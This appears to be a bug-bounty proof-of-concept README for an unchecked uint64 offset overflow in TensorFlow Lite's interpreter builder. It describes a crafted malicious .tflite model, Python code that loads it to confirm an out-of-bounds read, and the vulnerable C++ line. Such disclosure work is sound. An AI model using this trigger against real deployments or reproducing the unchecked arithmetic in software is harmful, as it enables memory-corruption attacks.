# TFLite Buffer.offset uint64 Integer Overflow → OOB Read PoC

**Target:** TensorFlow Lite (Google)  
**Vulnerability:** `interpreter_builder.cc:671` — unchecked `uint64_t` addition  
**Impact:** Out-of-bounds read; confirmed OOB pointer dereference (4 bytes before mmap base)  
**Bounty:** Huntr Model Format Vulnerability Program  

## Files
- `evil_buffer_offset_overflow.tflite` — malicious model triggering the vulnerability
- `build_poc.py` — script to rebuild the PoC

## Reproduction
```python
import tensorflow as tf, numpy as np, warnings
warnings.filterwarnings('ignore')

interp = tf.lite.Interpreter(
    model_path='evil_buffer_offset_overflow.tflite',
    experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_WITHOUT_DEFAULT_DELEGATES
)
interp.allocate_tensors()
arr = interp.tensor(1)()
ptr = arr.ctypes.data
mmap_base = (ptr - 0xFFFFFFFFFFFFFFFC) % (2**64)
print(f"OOB confirmed: tensor ptr 0x{ptr:X} is {mmap_base - ptr} bytes before mmap base 0x{mmap_base:X}")
```

## Root Cause
`tensorflow/lite/core/interpreter_builder.cc:671`:
```cpp
if (offset + buffer->size() > allocation_->bytes())  // ← uint64 overflow, no check
```